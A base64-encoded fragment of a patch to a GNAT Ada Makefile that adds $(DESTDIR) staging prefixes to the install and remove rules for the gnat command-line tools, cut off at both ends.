dF9hbGlhcyktZ25hdGJsJChleGVleHQpOyBcDQorCSAgICBpZiBbIC1kICQo REVTVERJUikkKHRvb2xkaXIpL2Jpbi8uIF0gOyB0aGVuIFwNCisJICAgICAg IHJtIC1mICQoREVTVERJUikkKHRvb2xkaXIpL2Jpbi9nbmF0YmwkKGV4ZWV4 dCk7IFwNCisJICAgICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnbmF0YmwtY3Jv c3MkKGV4ZWV4dCkgJChERVNURElSKSQodG9vbGRpcikvYmluL2duYXRibCQo ZXhlZXh0KTsgXA0KICAgICAgICAgICAgIGZpOyBcDQogCSAgZWxzZSBcDQot CSAgICAkKFJNKSAkKGJpbmRpcikvZ25hdGJsJChleGVleHQpOyBcDQotCSAg ICAkKElOU1RBTExfUFJPR1JBTSkgZ25hdGJsJChleGVleHQpICQoYmluZGly KS9nbmF0YmwkKGV4ZWV4dCk7IFwNCisJICAgICQoUk0pICQoREVTVERJUikk KGJpbmRpcikvZ25hdGJsJChleGVleHQpOyBcDQorCSAgICAkKElOU1RBTExf UFJPR1JBTSkgZ25hdGJsJChleGVleHQpICQoREVTVERJUikkKGJpbmRpcikv Z25hdGJsJChleGVleHQpOyBcDQogCSAgZmkgOyBcDQogCWZpDQogCS1pZiBb IC1mIGduYXQxJChleGVleHQpIF0gOyBcDQogCXRoZW4gXA0KIAkgIGlmIFsg LWYgZ25hdGNob3AtY3Jvc3MkKHNoZXh0KSBdIDsgXA0KIAkgIHRoZW4gXA0K LQkgICAgJChSTSkgJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nbmF0Y2hv cCQoc2hleHQpOyBcDQotCSAgICAkKElOU1RBTExfUFJPR1JBTSkgJChzcmNk aXIpL2FkYS9nbmF0Y2hvcCQoc2hleHQpICQoYmluZGlyKS8kKHRhcmdldF9h bGlhcyktZ25hdGNob3AkKHNoZXh0KTsgXA0KLQkgICAgaWYgWyAtZCAkKHRv b2xkaXIpL2Jpbi8uIF0gOyB0aGVuIFwNCi0JICAgICAgIHJtIC1mICQodG9v bGRpcikvYmluL2duYXRjaG9wJChzaGV4dCk7IFwNCi0JICAgICAgICQoSU5T VEFMTF9QUk9HUkFNKSBnbmF0Y2hvcCQoc2hleHQpICQodG9vbGRpcikvYmlu L2duYXRjaG9wJChleGVleHQpOyBcDQorCSAgICAkKFJNKSAkKERFU1RESVIp JChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nbmF0Y2hvcCQoc2hleHQpOyBc DQorCSAgICAkKElOU1RBTExfUFJPR1JBTSkgJChzcmNkaXIpL2FkYS9nbmF0 Y2hvcCQoc2hleHQpICQoREVTVERJUikkKGJpbmRpcikvJCh0YXJnZXRfYWxp YXMpLWduYXRjaG9wJChzaGV4dCk7IFwNCisJICAgIGlmIFsgLWQgJChERVNU RElSKSQodG9vbGRpcikvYmluLy4gXSA7IHRoZW4gXA0KKwkgICAgICAgcm0g LWYgJChERVNURElSKSQodG9vbGRpcikvYmluL2duYXRjaG9wJChzaGV4dCk7 IFwNCisJICAgICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnbmF0Y2hvcCQoc2hl eHQpICQoREVTVERJUikkKHRvb2xkaXIpL2Jpbi9nbmF0Y2hvcCQoZXhlZXh0 KTsgXA0KICAgICAgICAgICAgIGZpOyBcDQogCSAgZWxzZSBcDQotCSAgICAk KFJNKSAkKGJpbmRpcikvZ25hdGNob3AkKHNoZXh0KTsgXA0KLQkgICAgJChJ TlNUQUxMX1BST0dSQU0pICQoc3JjZGlyKS9hZGEvZ25hdGNob3AkKHNoZXh0 KSAkKGJpbmRpcikvZ25hdGNob3AkKHNoZXh0KTsgXA0KKwkgICAgJChSTSkg JChERVNURElSKSQoYmluZGlyKS9nbmF0Y2hvcCQoc2hleHQpOyBcDQorCSAg ICAkKElOU1RBTExfUFJPR1JBTSkgJChzcmNkaXIpL2FkYS9nbmF0Y2hvcCQo c2hleHQpICQoREVTVERJUikkKGJpbmRpcikvZ25hdGNob3AkKHNoZXh0KTsg XA0KIAkgIGZpIDsgXA0KIAlmaQ0KIAktaWYgWyAtZiBnbmF0MSQoZXhlZXh0 KSBdIDsgXA0KIAl0aGVuIFwNCiAJICBpZiBbIC1mIGduYXRjaG9wLWNyb3Nz JChleGVleHQpIF0gOyBcDQogCSAgdGhlbiBcDQotCSAgICAkKFJNKSAkKGJp bmRpcikvJCh0YXJnZXRfYWxpYXMpLWduYXRjaG9wJChleGVleHQpOyBcDQot CSAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25hdGNob3AtY3Jvc3MkKGV4ZWV4 dCkgJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nbmF0Y2hvcCQoZXhlZXh0 KTsgXA0KLQkgICAgaWYgWyAtZCAkKHRvb2xkaXIpL2Jpbi8uIF0gOyB0aGVu IFwNCi0JICAgICAgIHJtIC1mICQodG9vbGRpcikvYmluL2duYXRjaG9wJChl eGVleHQpOyBcDQotCSAgICAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25hdGNo b3AtY3Jvc3MkKGV4ZWV4dCkgJCh0b29sZGlyKS9iaW4vZ25hdGNob3AkKGV4 ZWV4dCk7IFwNCisJICAgICQoUk0pICQoREVTVERJUikkKGJpbmRpcikvJCh0 YXJnZXRfYWxpYXMpLWduYXRjaG9wJChleGVleHQpOyBcDQorCSAgICAkKElO U1RBTExfUFJPR1JBTSkgZ25hdGNob3AtY3Jvc3MkKGV4ZWV4dCkgJChERVNU RElSKSQoYmluZGlyKS8kKHRhcmdldF9hbGlhcyktZ25hdGNob3AkKGV4ZWV4 dCk7IFwNCisJICAgIGlmIFsgLWQgJChERVNURElSKSQodG9vbGRpcikvYmlu Ly4gXSA7IHRoZW4gXA0KKwkgICAgICAgcm0gLWYgJChERVNURElSKSQodG9v bGRpcikvYmluL2duYXRjaG9wJChleGVleHQpOyBcDQorCSAgICAgICAkKElO U1RBTExfUFJPR1JBTSkgZ25hdGNob3AtY3Jvc3MkKGV4ZWV4dCkgJChERVNU RElSKSQodG9vbGRpcikvYmluL2duYXRjaG9wJChleGVleHQpOyBcDQogICAg ICAgICAgICAgZmk7IFwNCiAJICBlbHNlIFwNCi0JICAgICQoUk0pICQoYmlu ZGlyKS9nbmF0Y2hvcCQoZXhlZXh0KTsgXA0KLQkgICAgJChJTlNUQUxMX1BS T0dSQU0pIGduYXRjaG9wJChleGVleHQpICQoYmluZGlyKS9nbmF0Y2hvcCQo ZXhlZXh0KTsgXA0KKwkgICAgJChSTSkgJChERVNURElSKSQoYmluZGlyKS9n bmF0Y2hvcCQoZXhlZXh0KTsgXA0KKwkgICAgJChJTlNUQUxMX1BST0dSQU0p IGduYXRjaG9wJChleGVleHQpICQoREVTVERJUikkKGJpbmRpcikvZ25hdGNo b3AkKGV4ZWV4dCk7IFwNCiAJICBmaSA7IFwNCiAJZmkNCiAJLWlmIFsgLWYg Z25hdDEkKGV4ZWV4dCkgXSA7IFwNCiAJdGhlbiBcDQogCSAgaWYgWyAtZiBn bmF0LWNyb3NzJChleGVleHQpIF0gOyBcDQogCSAgdGhlbiBcDQotCSAgICAk KFJNKSAkKGJpbmRpcikvJCh0YXJnZXRfYWxpYXMpLWduYXQkKGV4ZWV4dCk7 IFwNCi0JICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnbmF0LWNyb3NzJChleGVl eHQpICQoYmluZGlyKS8kKHRhcmdldF9hbGlhcyktZ25hdCQoZXhlZXh0KTsg XA0KLQkgICAgaWYgWyAtZCAkKHRvb2xkaXIpL2Jpbi8uIF0gOyB0aGVuIFwN Ci0JICAgICAgIHJtIC1mICQodG9vbGRpcikvYmluL2duYXQkKGV4ZWV4dCk7 IFwNCi0JICAgICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnbmF0LWNyb3NzJChl eGVleHQpICQodG9vbGRpcikvYmluL2duYXQkKGV4ZWV4dCk7IFwNCisJICAg ICQoUk0pICQoREVTVERJUikkKGJpbmRpcikvJCh0YXJnZXRfYWxpYXMpLWdu YXQkKGV4ZWV4dCk7IFwNCisJICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnbmF0 LWNyb3NzJChleGVleHQpICQoREVTVERJUikkKGJpbmRpcikvJCh0YXJnZXRf YWxpYXMpLWduYXQkKGV4ZWV4dCk7IFwNCisJICAgIGlmIFsgLWQgJChERVNU RElSKSQodG9vbGRpcikvYmluLy4gXSA7IHRoZW4gXA0KKwkgICAgICAgcm0g LWYgJChERVNURElSKSQodG9vbGRpcikvYmluL2duYXQkKGV4ZWV4dCk7IFwN CisJICAgICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnbmF0LWNyb3NzJChleGVl eHQpICQoREVTVERJUikkKHRvb2xkaXIpL2Jpbi9nbmF0JChleGVleHQpOyBc DQogICAgICAgICAgICAgZmk7IFwNCiAJICBlbHNlIFwNCi0JICAgICQoUk0p ICQoYmluZGlyKS9nbmF0JChleGVleHQpOyBcDQotCSAgICAkKElOU1RBTExf UFJPR1JBTSkgZ25hdCQoZXhlZXh0KSAkKGJpbmRpcikvZ25hdCQoZXhlZXh0 KTsgXA0KKwkgICAgJChSTSkgJChERVNURElSKSQoYmluZGlyKS9nbmF0JChl eGVleHQpOyBcDQorCSAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25hdCQoZXhl ZXh0KSAkKERFU1RESVIpJChiaW5kaXIpL2duYXQkKGV4ZWV4dCk7IFwNCiAJ ICBmaSA7IFwNCiAJZmkNCiAJLWlmIFsgLWYgZ25hdDEkKGV4ZWV4dCkgXSA7 IFwNCiAJdGhlbiBcDQogCSAgaWYgWyAtZiBnbmF0a3ItY3Jvc3MkKGV4ZWV4 dCkgXSA7IFwNCiAJICB0aGVuIFwNCi0JICAgICQoUk0pICQoYmluZGlyKS8k KHRhcmdldF9hbGlhcyktZ25hdGtyJChleGVleHQpOyBcDQotCSAgICAkKElO U1RBTExfUFJPR1JBTSkgZ25hdGtyLWNyb3NzJChleGVleHQpICQoYmluZGly KS8kKHRhcmdldF9hbGlhcyktZ25hdGtyJChleGVleHQpOyBcDQotCSAgICBp ZiBbIC1kICQodG9vbGRpcikvYmluLy4gXSA7IHRoZW4gXA0KLQkgICAgICAg cm0gLWYgJCh0b29sZGlyKS9iaW4vZ25hdGtyJChleGVleHQpOyBcDQotCSAg ICAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25hdGtyLWNyb3NzJChleGVleHQp ICQodG9vbGRpcikvYmluL2duYXRrciQoZXhlZXh0KTsgXA0KKwkgICAgJChS TSkgJChERVNURElSKSQoYmluZGlyKS8kKHRhcmdldF9hbGlhcyktZ25hdGty JChleGVleHQpOyBcDQorCSAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25hdGty LWNyb3NzJChleGVleHQpICQoREVTVERJUikkKGJpbmRpcikvJCh0YXJnZXRf YWxpYXMpLWduYXRrciQoZXhlZXh0KTsgXA0KKwkgICAgaWYgWyAtZCAkKERF U1RESVIpJCh0b29sZGlyKS9iaW4vLiBdIDsgdGhlbiBcDQorCSAgICAgICBy bSAtZiAkKERFU1RESVIpJCh0b29sZGlyKS9iaW4vZ25hdGtyJChleGVleHQp OyBcDQorCSAgICAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25hdGtyLWNyb3Nz JChleGVleHQpICQoREVTVERJUikkKHRvb2xkaXIpL2Jpbi9nbmF0a3IkKGV4 ZWV4dCk7IFwNCiAgICAgICAgICAgICBmaTsgXA0KIAkgIGVsc2UgXA0KLQkg ICAgJChSTSkgJChiaW5kaXIpL2duYXRrciQoZXhlZXh0KTsgXA0KLQkgICAg JChJTlNUQUxMX1BST0dSQU0pIGduYXRrciQoZXhlZXh0KSAkKGJpbmRpcikv Z25hdGtyJChleGVleHQpOyBcDQorCSAgICAkKFJNKSAkKERFU1RESVIpJChi aW5kaXIpL2duYXRrciQoZXhlZXh0KTsgXA0KKwkgICAgJChJTlNUQUxMX1BS T0dSQU0pIGduYXRrciQoZXhlZXh0KSAkKERFU1RESVIpJChiaW5kaXIpL2du YXRrciQoZXhlZXh0KTsgXA0KIAkgIGZpIDsgXA0KIAlmaQ0KIAktaWYgWyAt ZiBnbmF0MSQoZXhlZXh0KSBdIDsgXA0KIAl0aGVuIFwNCiAJICBpZiBbIC1m IGduYXRsaW5rLWNyb3NzJChleGVleHQpIF0gOyBcDQogCSAgdGhlbiBcDQot CSAgICAkKFJNKSAkKGJpbmRpcikvJCh0YXJnZXRfYWxpYXMpLWduYXRsaW5r JChleGVleHQpOyBcDQotCSAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25hdGxp bmstY3Jvc3MkKGV4ZWV4dCkgJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1n bmF0bGluayQoZXhlZXh0KTsgXA0KLQkgICAgaWYgWyAtZCAkKHRvb2xkaXIp L2Jpbi8uIF0gOyB0aGVuIFwNCi0JICAgICAgIHJtIC1mICQodG9vbGRpcikv YmluL2duYXRsaW5rJChleGVleHQpOyBcDQotCSAgICAgICAkKElOU1RBTExf UFJPR1JBTSkgZ25hdGxpbmstY3Jvc3MkKGV4ZWV4dCkgJCh0b29sZGlyKS9i aW4vZ25hdGxpbmskKGV4ZWV4dCk7IFwNCisJICAgICQoUk0pICQoREVTVERJ UikkKGJpbmRpcikvJCh0YXJnZXRfYWxpYXMpLWduYXRsaW5rJChleGVleHQp OyBcDQorCSAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25hdGxpbmstY3Jvc3Mk KGV4ZWV4dCkgJChERVNURElSKSQoYmluZGlyKS8kKHRhcmdldF9hbGlhcykt Z25hdGxpbmskKGV4ZWV4dCk7IFwNCisJICAgIGlmIFsgLWQgJChERVNURElS KSQodG9vbGRpcikvYmluLy4gXSA7IHRoZW4gXA0KKwkgICAgICAgcm0gLWYg JChERVNURElSKSQodG9vbGRpcikvYmluL2duYXRsaW5rJChleGVleHQpOyBc DQorCSAgICAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25hdGxpbmstY3Jvc3Mk KGV4ZWV4dCkgJChERVNURElSKSQodG9vbGRpcikvYmluL2duYXRsaW5rJChl eGVleHQpOyBcDQogICAgICAgICAgICAgZmk7IFwNCiAJICBlbHNlIFwNCi0J ICAgICQoUk0pICQoYmluZGlyKS9nbmF0bGluayQoZXhlZXh0KTsgXA0KLQkg ICAgJChJTlNUQUxMX1BST0dSQU0pIGduYXRsaW5rJChleGVleHQpICQoYmlu ZGlyKS9nbmF0bGluayQoZXhlZXh0KTsgXA0KKwkgICAgJChSTSkgJChERVNU RElSKSQoYmluZGlyKS9nbmF0bGluayQoZXhlZXh0KTsgXA0KKwkgICAgJChJ TlNUQUxMX1BST0dSQU0pIGduYXRsaW5rJChleGVleHQpICQoREVTVERJUikk KGJpbmRpcikvZ25hdGxpbmskKGV4ZWV4dCk7IFwNCiAJICBmaSA7IFwNCiAJ ZmkNCiAJLWlmIFsgLWYgZ25hdDEkKGV4ZWV4dCkgXSA7IFwNCiAJdGhlbiBc DQogCSAgaWYgWyAtZiBnbmF0bHMtY3Jvc3MkKGV4ZWV4dCkgXSA7IFwNCiAJ ICB0aGVuIFwNCi0JICAgICQoUk0pICQoYmluZGlyKS8kKHRhcmdldF9hbGlh cyktZ25hdGxzJChleGVleHQpOyBcDQotCSAgICAkKElOU1RBTExfUFJPR1JB TSkgZ25hdGxzLWNyb3NzJChleGVleHQpICQoYmluZGlyKS8kKHRhcmdldF9h bGlhcyktZ25hdGxzJChleGVleHQpOyBcDQotCSAgICBpZiBbIC1kICQodG9v bGRpcikvYmluLy4gXSA7IHRoZW4gXA0KLQkgICAgICAgcm0gLWYgJCh0b29s ZGlyKS9iaW4vZ25hdGxzJChleGVleHQpOyBcDQotCSAgICAgICAkKElOU1RB TExfUFJPR1JBTSkgZ25hdGxzLWNyb3NzJChleGVleHQpICQodG9vbGRpcikv YmluL2duYXRscyQoZXhlZXh0KTsgXA0KKwkgICAgJChSTSkgJChERVNURElS KSQoYmluZGlyKS8kKHRhcmdldF9hbGlhcyktZ25hdGxzJChleGVleHQpOyBc DQorCSAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25hdGxzLWNyb3NzJChleGVl eHQpICQoREVTVERJUikkKGJpbmRpcikvJCh0YXJnZXRfYWxpYXMpLWduYXRs cyQoZXhlZXh0KTsgXA0KKwkgICAgaWYgWyAtZCAkKERFU1RESVIpJCh0b29s ZGlyKS9iaW4vLiBdIDsgdGhlbiBcDQorCSAgICAgICBybSAtZiAkKERFU1RE SVIpJCh0b29sZGlyKS9iaW4vZ25hdGxzJChleGVleHQpOyBcDQorCSAgICAg ICAkKElOU1RBTExfUFJPR1JBTSkgZ25hdGxzLWNyb3NzJChleGVleHQpICQo REVTVERJUikkKHRvb2xkaXIpL2Jpbi9nbmF0bHMkKGV4ZWV4dCk7IFwNCiAg ICAgICAgICAgICBmaTsgXA0KIAkgIGVsc2UgXA0KLQkgICAgJChSTSkgJChi aW5kaXIpL2duYXRscyQoZXhlZXh0KTsgXA0KLQkgICAgJChJTlNUQUxMX1BS T0dSQU0pIGduYXRscyQoZXhlZXh0KSAkKGJpbmRpcikvZ25hdGxzJChleGVl eHQpOyBcDQorCSAgICAkKFJNKSAkKERFU1RESVIpJChiaW5kaXIpL2duYXRs cyQoZXhlZXh0KTsgXA0KKwkgICAgJChJTlNUQUxMX1BST0dSQU0pIGduYXRs cyQoZXhlZXh0KSAkKERFU1RESVIpJChiaW5kaXIpL2duYXRscyQoZXhlZXh0 KTsgXA0KIAkgIGZpIDsgXA0KIAlmaQ0KIAktaWYgWyAtZiBnbmF0MSQoZXhl ZXh0KSBdIDsgXA0KIAl0aGVuIFwNCiAJICBpZiBbIC1mIGduYXRtYWtlLWNy b3NzJChleGVleHQpIF0gOyBcDQogCSAgdGhlbiBcDQotCSAgICAkKFJNKSAk KGJpbmRpcikvJCh0YXJnZXRfYWxpYXMpLWduYXRtYWtlJChleGVleHQpOyBc DQotCSAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25hdG1ha2UtY3Jvc3MkKGV4 ZWV4dCkgJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nbmF0bWFrZSQoZXhl ZXh0KTsgXA0KLQkgICAgaWYgWyAtZCAkKHRvb2xkaXIpL2Jpbi8uIF0gOyB0 aGVuIFwNCi0JICAgICAgIHJtIC1mICQodG9vbGRpcikvYmluL2duYXRtYWtl JChleGVleHQpOyBcDQotCSAgICAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25h dG1ha2UtY3Jvc3MkKGV4ZWV4dCkgJCh0b29sZGlyKS9iaW4vZ25hdG1ha2Uk KGV4ZWV4dCk7IFwNCisJICAgICQoUk0pICQoREVTVERJUikkKGJpbmRpcikv JCh0YXJnZXRfYWxpYXMpLWduYXRtYWtlJChleGVleHQpOyBcDQorCSAgICAk KElOU1RBTExfUFJPR1JBTSkgZ25hdG1ha2UtY3Jvc3MkKGV4ZWV4dCkgJChE RVNURElSKSQoYmluZGlyKS8kKHRhcmdldF9hbGlhcyktZ25hdG1ha2UkKGV4 ZWV4dCk7IFwNCisJICAgIGlmIFsgLWQgJChERVNURElSKSQodG9vbGRpcikv YmluLy4gXSA7IHRoZW4gXA0KKwkgICAgICAgcm0gLWYgJChERVNURElSKSQo dG9vbGRpcikvYmluL2duYXRtYWtlJChleGVleHQpOyBcDQorCSAgICAgICAk KElOU1RBTExfUFJPR1JBTSkgZ25hdG1ha2UtY3Jvc3MkKGV4ZWV4dCkgJChE RVNURElSKSQodG9vbGRpcikvYmluL2duYXRtYWtlJChleGVleHQpOyBcDQog ICAgICAgICAgICAgZmk7IFwNCiAJICBlbHNlIFwNCi0JICAgICQoUk0pICQo YmluZGlyKS9nbmF0bWFrZSQoZXhlZXh0KTsgXA0KLQkgICAgJChJTlNUQUxM X1BST0dSQU0pIGduYXRtYWtlJChleGVleHQpICQoYmluZGlyKS9nbmF0bWFr ZSQoZXhlZXh0KTsgXA0KKwkgICAgJChSTSkgJChERVNURElSKSQoYmluZGly KS9nbmF0bWFrZSQoZXhlZXh0KTsgXA0KKwkgICAgJChJTlNUQUxMX1BST0dS QU0pIGduYXRtYWtlJChleGVleHQpICQoREVTVERJUikkKGJpbmRpcikvZ25h dG1ha2UkKGV4ZWV4dCk7IFwNCiAJICBmaSA7IFwNCiAJZmkNCiAJLWlmIFsg LWYgZ25hdDEkKGV4ZWV4dCkgXSA7IFwNCiAJdGhlbiBcDQogCSAgaWYgWyAt ZiBnbmF0bWVtLWNyb3NzJChleGVleHQpIF0gOyBcDQogCSAgdGhlbiBcDQot CSAgICAkKFJNKSAkKGJpbmRpcikvJCh0YXJnZXRfYWxpYXMpLWduYXRtZW0k KGV4ZWV4dCk7IFwNCi0JICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnbmF0bWVt LWNyb3NzJChleGVleHQpICQoYmluZGlyKS8kKHRhcmdldF9hbGlhcyktZ25h dG1lbSQoZXhlZXh0KTsgXA0KKwkgICAgJChSTSkgJChERVNURElSKSQoYmlu ZGlyKS8kKHRhcmdldF9hbGlhcyktZ25hdG1lbSQoZXhlZXh0KTsgXA0KKwkg ICAgJChJTlNUQUxMX1BST0dSQU0pIGduYXRtZW0tY3Jvc3MkKGV4ZWV4dCkg JChERVNURElSKSQoYmluZGlyKS8kKHRhcmdldF9hbGlhcyktZ25hdG1lbSQo ZXhlZXh0KTsgXA0KIAkgIGVsc2UgXA0KLQkgICAgJChSTSkgJChiaW5kaXIp L2duYXRtZW0kKGV4ZWV4dCk7IFwNCi0JICAgICQoSU5TVEFMTF9QUk9HUkFN KSBnbmF0bWVtJChleGVleHQpICQoYmluZGlyKS9nbmF0bWVtJChleGVleHQp OyBcDQorCSAgICAkKFJNKSAkKERFU1RESVIpJChiaW5kaXIpL2duYXRtZW0k KGV4ZWV4dCk7IFwNCisJICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnbmF0bWVt JChleGVleHQpICQoREVTVERJUikkKGJpbmRpcikvZ25hdG1lbSQoZXhlZXh0 KTsgXA0KIAkgIGZpIDsgXA0KIAlmaQ0KIAktaWYgWyAtZiBnbmF0MSQoZXhl ZXh0KSBdIDsgXA0KIAl0aGVuIFwNCiAJICBpZiBbIC1mIGduYXRuYW1lLWNy b3NzJChleGVleHQpIF0gOyBcDQogCSAgdGhlbiBcDQotCSAgICAkKFJNKSAk KGJpbmRpcikvJCh0YXJnZXRfYWxpYXMpLWduYXRuYW1lJChleGVleHQpOyBc DQotCSAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25hdG5hbWUtY3Jvc3MkKGV4 ZWV4dCkgJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nbmF0bmFtZSQoZXhl ZXh0KTsgXA0KKwkgICAgJChSTSkgJChERVNURElSKSQoYmluZGlyKS8kKHRh cmdldF9hbGlhcyktZ25hdG5hbWUkKGV4ZWV4dCk7IFwNCisJICAgICQoSU5T VEFMTF9QUk9HUkFNKSBnbmF0bmFtZS1jcm9zcyQoZXhlZXh0KSAkKERFU1RE SVIpJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nbmF0bmFtZSQoZXhlZXh0 KTsgXA0KIAkgIGVsc2UgXA0KLQkgICAgJChSTSkgJChiaW5kaXIpL2duYXRu YW1lJChleGVleHQpOyBcDQotCSAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25h dG5hbWUkKGV4ZWV4dCkgJChiaW5kaXIpL2duYXRuYW1lJChleGVleHQpOyBc DQorCSAgICAkKFJNKSAkKERFU1RESVIpJChiaW5kaXIpL2duYXRuYW1lJChl eGVleHQpOyBcDQorCSAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25hdG5hbWUk KGV4ZWV4dCkgJChERVNURElSKSQoYmluZGlyKS9nbmF0bmFtZSQoZXhlZXh0 KTsgXA0KIAkgIGZpIDsgXA0KIAlmaQ0KIAktaWYgWyAtZiBnbmF0MSQoZXhl ZXh0KSBdIDsgXA0KIAl0aGVuIFwNCiAJICBpZiBbIC1mIGduYXRwcmVwLWNy b3NzJChleGVleHQpIF0gOyBcDQogCSAgdGhlbiBcDQotCSAgICAkKFJNKSAk KGJpbmRpcikvJCh0YXJnZXRfYWxpYXMpLWduYXRwcmVwJChleGVleHQpOyBc DQotCSAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25hdHByZXAtY3Jvc3MkKGV4 ZWV4dCkgJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nbmF0cHJlcCQoZXhl ZXh0KTsgXA0KLQkgICAgaWYgWyAtZCAkKHRvb2xkaXIpL2Jpbi8uIF0gOyB0 aGVuIFwNCi0JICAgICAgIHJtIC1mICQodG9vbGRpcikvYmluL2duYXRwcmVw JChleGVleHQpOyBcDQotCSAgICAgICAkKElOU1RBTExfUFJPR1JBTSkgZ25h dHByZXAtY3Jvc3MkKGV4ZWV4dCkgJCh0b29sZGlyKS9iaW4vZ25hdHByZXAk KGV4ZWV4dCk7IFwNCisJICAgICQoUk0pICQoREVTVERJUikkKGJpbmRpcikv JCh0YXJnZXRfYWxpYXMpLWduYXRwcmVwJChleGVleHQpOyBcDQorCSAgICAk KElOU1RBTExfUFJPR1JBTSkgZ25hdHByZXAtY3Jvc3MkKGV4ZWV4dCkgJChE RVNURElSKSQoYmluZGlyKS8kKHRhcmdldF9hbGlhcyktZ25hdHByZXAkKGV4 ZWV4dCk7IFwNCisJICAgIGlmIFsgLWQgJChERVNURElSKSQodG9vbGRpcikv YmluLy4gXSA7IHRoZW4gXA0KKwkgICAgICAgcm0gLWYgJChERVNURElSKSQo dG9vbGRpcikvYmluL2duYXRwcmVwJChleGVleHQpOyBcDQorCSAgICAgICAk KElOU1RBTExfUFJPR1JBTSkgZ25hdHByZXAtY3Jvc3MkKGV4ZWV4dCkgJChE RVNURElSKSQodG9vbGRpcikvYmluL2duYXRwcmVwJChleGVleHQpOyBcDQog ICAgICAgICAgICAgZmk7IFwNCiAJICBlbHNlIFwNCi0JICAgICQoUk0pICQo YmluZGlyKS9nbmF0cHJlcCQoZXhlZXh0KTsgXA0KLQkgICAgJChJTlNUQUxM X1BST0dSQU0pIGduYXRwcmVwJChleGVleHQpICQoYmluZGlyKS9nbmF0cHJl cCQoZXhlZXh0KTsgXA0KKwkgICAgJChSTSkgJChERVNURElSKSQoYmluZGly KS9nbmF0cHJlcCQoZXhlZXh0KTsgXA0KKwkgICAgJChJTlNUQUxMX1BST0dS QU0pIGduYXRwcmVwJChleGVleHQpICQoREVTVERJUikkKGJpbmRpcikvZ25h dHByZXAkKGV4ZWV4dCk7IFwNCiAJICBmaSA7IFwNCiAJZmkNCiAJLWlmIFsg LWYgZ25hdDEkKGV4ZWV4dCkgXSA7IFwNCiAJdGhlbiBcDQogCSAgaWYgWyAt ZiBnbmF0cHN0YS1jcm9zcyQoZXhlZXh0KSBdIDsgXA0KIAkgIHRoZW4gXA0K LQkgICAgJChSTSkgJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nbmF0cHN0 YSQoZXhlZXh0KTsgXA0KLQkgICAgJChJTlNUQUxMX1BST0dSQU0pIGduYXRw c3RhLWNyb3NzJChleGVleHQpICQoYmluZGlyKS8kKHRhcmdldF9hbGlhcykt Z25hdHBzdGEkKGV4ZWV4dCk7IFwNCi0JICAgIGlmIFsgLWQgJCh0b29sZGly KS9iaW4vLiBdIDsgdGhlbiBcDQotCSAgICAgICBybSAtZiAkKHRvb2xkaXIp L2Jpbi9nbmF0cHN0YSQoZXhlZXh0KTsgXA0KLQkgICAgICAgJChJTlNUQUxM X1BST0dSQU0pIGduYXRwc3RhLWNyb3NzJChleGVleHQpICQodG9vbGRpcikv YmluL2duYXRwc3RhJChleGVleHQpOyBcDQorCSAgICAkKFJNKSAkKERFU1RE SVIpJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nbmF0cHN0YSQoZXhlZXh0 KTsgXA0KKwkgICAgJChJTlNUQUxMX1BST0dSQU0pIGduYXRwc3RhLWNyb3Nz JChleGVleHQpICQoREVTVERJUikkKGJpbmRpcikvJCh0YXJnZXRfYWxpYXMp LWduYXRwc3RhJChleGVleHQpOyBcDQorCSAgICBpZiBbIC1kICQoREVTVERJ UikkKHRvb2xkaXIpL2Jpbi8uIF0gOyB0aGVuIFwNCisJICAgICAgIHJtIC1m ICQoREVTVERJUikkKHRvb2xkaXIpL2Jpbi9nbmF0cHN0YSQoZXhlZXh0KTsg XA0KKwkgICAgICAgJChJTlNUQUxMX1BST0dSQU0pIGduYXRwc3RhLWNyb3Nz JChleGVleHQpICQoREVTVERJUikkKHRvb2xkaXIpL2Jpbi9nbmF0cHN0YSQo ZXhlZXh0KTsgXA0KICAgICAgICAgICAgIGZpOyBcDQogCSAgZWxzZSBcDQot CSAgICAkKFJNKSAkKGJpbmRpcikvZ25hdHBzdGEkKGV4ZWV4dCk7IFwNCi0J ICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnbmF0cHN0YSQoZXhlZXh0KSAkKGJp bmRpcikvZ25hdHBzdGEkKGV4ZWV4dCk7IFwNCisJICAgICQoUk0pICQoREVT VERJUikkKGJpbmRpcikvZ25hdHBzdGEkKGV4ZWV4dCk7IFwNCisJICAgICQo SU5TVEFMTF9QUk9HUkFNKSBnbmF0cHN0YSQoZXhlZXh0KSAkKERFU1RESVIp JChiaW5kaXIpL2duYXRwc3RhJChleGVleHQpOyBcDQogCSAgZmkgOyBcDQog CWZpDQogCS1pZiBbIC1mIGduYXQxJChleGVleHQpIF0gOyBcDQogCXRoZW4g XA0KIAkgIGlmIFsgLWYgZ25hdHhyZWYtY3Jvc3MkKGV4ZWV4dCkgXSA7IFwN 